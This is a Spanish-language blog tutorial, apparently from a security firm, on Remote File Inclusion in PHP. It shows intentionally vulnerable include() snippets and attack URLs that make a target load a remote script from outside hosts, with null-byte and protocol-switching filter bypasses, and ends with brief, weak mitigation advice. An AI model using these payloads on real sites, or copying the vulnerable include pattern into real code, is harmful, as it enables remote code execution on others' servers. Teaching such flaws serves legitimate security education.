F F F

Identificando RFI

Remote File Inclusion (RFI)
- Tips : Puedes usar HTTP Y FTP para evitar filtros (HTTP filtrado)

En PHP existen cuatro funciones las cuales le permitira subir archivos;

require – require() es idéntica a include() excepto en caso de errores lo que producira un “fatal error”.
require_once – es idéntica a require() con la diferencia que esta funcion checa si el archivo ya ha sido incluido, si no ha sido subido, realiza el include nuevamente.
include – incluye y evalua archivos específicos.
include_once -  incluye y evalua archivos específicos mientras se mantiene en ejecucion el script.

- Ejemplo básico

- Tips : algunos scripts no aceptan “http” en las variables,”http” es “forbbiden” entonces
pueden usar “https” o “ftp”.

- Pedazo de código de test.php

———————————————–
<?php
$pagina=$_GET['pagina'];
include $pagina;
?>
———————————————–

- Si entramos a la pagina encontraremos algunos warnnigns y otros errores:

Notice: Undefined index: pagina in C:\wamp\www\test.php on line 2

- Podemos ver aquí que la variable “pagina” no está declarada. Entonces le podemos asignar cualquier valor a la variable “pagina”.
Ejemplo :

http://127.0.0.1/test.php?pagina=http://hypernethost.org/script.txt

- Pedazo de código de test.php

———————————————–
<?php
$pagina=$_GET['pagina'];
include $pagina.’.php’;
?>
———————————————–

- Entonces, si hacemos la petición:

http://127.0.0.1/test.php?pagina=http://hypernethost.org/script.txt

No va funcionar debido a que el script intentará incluir http://hypernethost.org/script.txt.php

Entonces agregaremos un “NULLBYTE” ( %00 ) y todo lo que este posterior al “NULLBYTE” será ignorado.
Ejemplo:

http://127.0.0.1/test.php?pagina=http://ilegalintrusion.net/script.txt%00

El script será incluido con exito.

- Pedazo de codigo de test.php

———————————————–
<?php
$pagina=$_GET['pagina'];
include $pagina.’logged=1′;
?>
———————————————–

Y el logged=1 se volvera una variable. Es mejor usar NULLBYTE.
Ejemplo:

http://127.0.0.1/test.php?pagina=http://hypernethost.org/script.txt?logged=1

El script será incluído con éxito.

- Ejemplo Práctico:

Ahora un ejemplo desde un script.

- Pedazo de codigo de index.php

—————————————————-
if (isset($_REQUEST["main_content"])){
$main_content = $_REQUEST["main_content"];
} else if (isset($_SESSION["main_content"])){
$main_content = $_SESSION["main_content"];
}
…………………..etc………………
ob_start();
require_once($main_content);
—————————————————-

Podemos ver que la variable “main_content”  está siendo pedida por el metodo $_REQUEST. El atacante puede  asignarle el valor que desee.
Debajo, la variable “main_content” es incluida, entonces si realizamos la siguiente
petición:

http://127.0.0.1/index.php?main_content=http://hypernethost.org/script.txt

Nuestro script será correctamente incluido.

3.2 – Solución

Forma Simple : No permitir caracteres especiales en las variables: filtrar el slash “/” .
Otra Forma : Filtrar “http” , “https” , “ftp” y”smb”.

Andrés Gómez

Comments are closed.

Sobre el Blog

Fue creado para compartir conocimientos, técnicas y trucos para los webmasters y empresas que contratan nuestros servicios.

Clientes

Gobiernos, ministerios, bancas, aseguradoras, entidades financieras, estudios jurídicos, estudios contables, instituciones, hospitales, etc.

Servicios

Pentesting, auditorías de seguridad, auditorías de redes, adminitración de servidores, hosting, dominios, diseño web, desarrollo de software y más...

Socios De Negocios

- Security-Pentest
- Atenea Capacitaciones
- YouJoomla!